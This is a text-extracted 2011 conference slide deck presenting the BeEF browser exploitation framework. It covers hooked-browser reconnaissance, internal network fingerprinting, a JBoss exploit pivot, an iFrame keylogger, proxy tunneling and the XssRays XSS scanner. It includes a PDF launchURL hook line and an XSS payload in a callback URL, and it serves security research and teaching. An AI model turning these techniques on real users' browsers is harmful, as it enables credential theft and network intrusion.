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Who am I? Penetration Tester @ The Royal Bank of Scotland BeEF - - PowerPoint PPT Presentation
Who am I? Penetration Tester @ The Royal Bank of Scotland BeEF - - PowerPoint PPT Presentation
Ground BeEF : Cutting, devouring and digesting the legs off a browser Michele antisnatchor Orru 6 September 2011 Who am I? Penetration Tester @ The Royal Bank of Scotland BeEF developer: Tunneling Proxy, XssRays integration,
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Outline
✴ What the hell is BeEF? ✴Cutting
Target enumeration and analysis
✴Devouring
Internal net fingerprint Exploiting internal services through the hooked browser Keylogging, browser pwnage
✴Digesting
Persistence, tunneling sqlmap/Burp through BeEF proxy XSSrays integration
✴Future development and ideas
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What the hell is BeEF?
✴ BeEF: Browser Exploitation Framework ✴Pioneered by Wade Alcorn in 2005 (public release) ✴Powerful platform for Client-side pwnage, XSS post-exploitation and generally victim
browser security-context abuse
✴Each browser is likely to be within a different security context, and each context may
provide a set of unique attack vectors.
✴ The framework allows the penetration tester to select specific modules (in real-time)
to target each browser, and therefore each context.
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What the hell is BeEF?
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Cutting: Target enum and analysis
✴ Lot of juicy information after first hook initialization : ✴Browser/OS version ✴Cookies ✴Browser plugins ✴Supported features (Google Gears, Web Sockets, Flash, Java, . .) ✴Specific modules are also there to help ✴Detect links/visited URLs ✴Detect social networks (authenticated in Twitter, Gmail, Facebook) and Tor ✴Execute your custom Javascript
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Cutting: Target enum and analysis
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Devouring: Internal net fingerprint
Recon/NetworkFingerprinting module
✴Knowing the victim internal IP, the attacker can start to fingerprint the internal
network via Javascript to find common servers and devices.
✴The approach currently in use is similar to Yokoso (InGuardians) ✴Map of device/application default images ✴img tags are loaded into the victim DOM ✴Onload event, if (image width/height/path == deviceImageMapEntry), then
deviceXYZ@IP has been successfully found
✴Watch „Jboss 6.0.0M1 JMX Deploy Exploit: the BeEF way... ” on Vimeo
(http://vimeo.com/24410203) for a practical example
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✴ Great preso „Intranet Footprinting”
by Javier Marcos and Juan Galiana (Owasp AppSec Eu 2011)
✴ They developed new BeEF modules ✴They are working with us and their
work will be available in BeEF trunk soon. A few examples:
✴Internal DNS enumeration ✴Reliable Port Scanning ✴Ping sweep
Devouring: Internal net fingerprint
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Devouring: exploiting internal services
✴Network/JbossJmxUploadExploit module ✴JBoss 4.x, 5.1.0, 6.0.0.M1 JMX deploy exploit is available in MSF, but you need to have
direct access to the target (or use a host as a pivot)
✴Then why not use the victim browser as a pivot?
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Devouring: persistent keylogging
Persistence/iFrameKeylogger module
✴We can inject a 100% width/height
- verlay iFrame that loads the login
page (in-domain), attaching a listener for keyboard events (keylogger) in JS.
✴After the victim logs in, she will
stay in the injected iFrame while the communication channel will be persistent in the background.
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Devouring: module autorun
✴ We’ve ported back (from the old PHP version) the autorun feature ✴Add autorun: true in the command module config.yaml that you want to autorun ✴When a new browser will be hooked in BeEF, the module will be automatically launched ✴Imagine adding autorun: true in
Metasploit autopwn module (another feature ported back)...
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Digesting: hook default browser
✴Originally disclosed by Billy (xs-sniper) Rios on „Expanding the Attack Surface”
Browser/HookDefault module
✴We use a PDF in order to attempt hooking the default browser ✴When executed, the hooked browser will load a PDF in a new window and use that to
start the default browser.
✴app.launchURL("http://192.168.56.1/page-With-BeEF-Hook-Js.html",true); ✴If everything will be ok, we hooked the default browser. ✴We are planning to improve it: ✴make the bounce page configurable by the user ✴use a ruby PDF library in order to manipulate the PDF via the web UI
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Digesting: tunneling proxy
✴Having a communication channel with the hooked browser, we can: ✴Receive requests as a proxy on BeEF ✴Translate these requests to XHRs (in-domain) ✴Parse the XHRs responses and send the data back to the original requestor... ✴Using the victim browser hooked in BeEF as a tunneling proxy, we will see the
following scenarios:
✴browsing the authenticated surface of the hooked domain through the security
context of the victim browser;
✴spidering the hooked domain through the security context of the victim browser; ✴finding and exploiting SQLi with Burp Pro Scanner + sqlmap (through the victim
browser too :-) ).
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Digesting: tunneling proxy
Let see the tunneling proxy in action!
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Digesting: XssRays
✴ Originally developed by Gareth Heyes in 2009 as a pure JS-based XSS scanner ✴ The XssRays BeEF extension allows you to check if links, forms and URI paths of the
page where the browser is hooked are vulnerable to XSS.
✴What XssRays do is basically parse all the links and forms of the page where it is
loaded and check for XSS on GET, POST parameters, and also in the URI path.
✴The original code by Gareth, from 2009, used a nice trick (the location.hash fragment)
in order to have a sort of callback between parent and child iFrames
✴This is now patched by all recent browsers.
So how to check for XSSs cross-domain, respecting the SOP restrictions?
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Digesting: XssRays
✴We inject a vector that will contact back BeEF if the JS code will be successfully
executed (thus, the XSS confirmed).
✴No false positives (oh yes, that’s what I like)! ✴Basically the document.location.href of the injected iFrame that contains the vector
will point to a know BeEF resource. The following is an example value of href:
✴http://192.168.84.1:3000/ui/xssrays/rays?
hbsess=ZdGQG32VvYmozDP3ia0mvNd5PwcjR9lXuzmTmxm1mAckrgjqA9bIfg41Si2eOfVpviNWYk 9vi2q3kvZB&raysscanid=3&poc=http://192.168.84.128/dvwa/vulnerabilities/xss_r/?name= %22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E&&name=Standard%20script%20injection %20double&method=GET
✴Next step is multihooking: hook a browser on multiple domains, to extend the attack
surface.
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Digesting: XssRays in a nutshell
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Digesting: XssRays in a nutshell
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Digesting: XssRays in a nutshell
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Digesting: XssRays in a nutshell
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Digesting: XssRays in a nutshell
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Digesting: XssRays in a nutshell
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Digesting: XssRays in a nutshell
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Digesting: XssRays in a nutshell
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Digesting: XssRays in a nutshell
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Digesting: XssRays in a nutshell
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Digesting: XssRays in a nutshell
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Future dev and ideas
✴Improve XssRays: ✴add more attack vectors, more testing ✴add JS depth crawler ✴Multi-hooking: a browser can be hooked on multiple domains ✴Check for time-based blind SQLi cross-domain via JS ✴Improve the BeEF console (command line UI) ✴Well...take a look here: http://code.google.com/p/beef/issues/list
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Get in touch with us
✴Follow the BeEF: @beefproject ✴Checkout BeEF: http://code.google.com/p/beef/ ✴Check our website: http://beefproject.com ✴Have fun with it ✴We’re hiring!!! (but we’ll not pay you...seriously, we have so many tasks to do, join us)
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Thanks to
✴Wade Alcorn and the other BeEF ninjas: Ben, Scotty, Christian, Brendan, Saafan,. . ✴My colleagues Piotr & Michal ✴My employer ✴SecurityByte crew and you attendees
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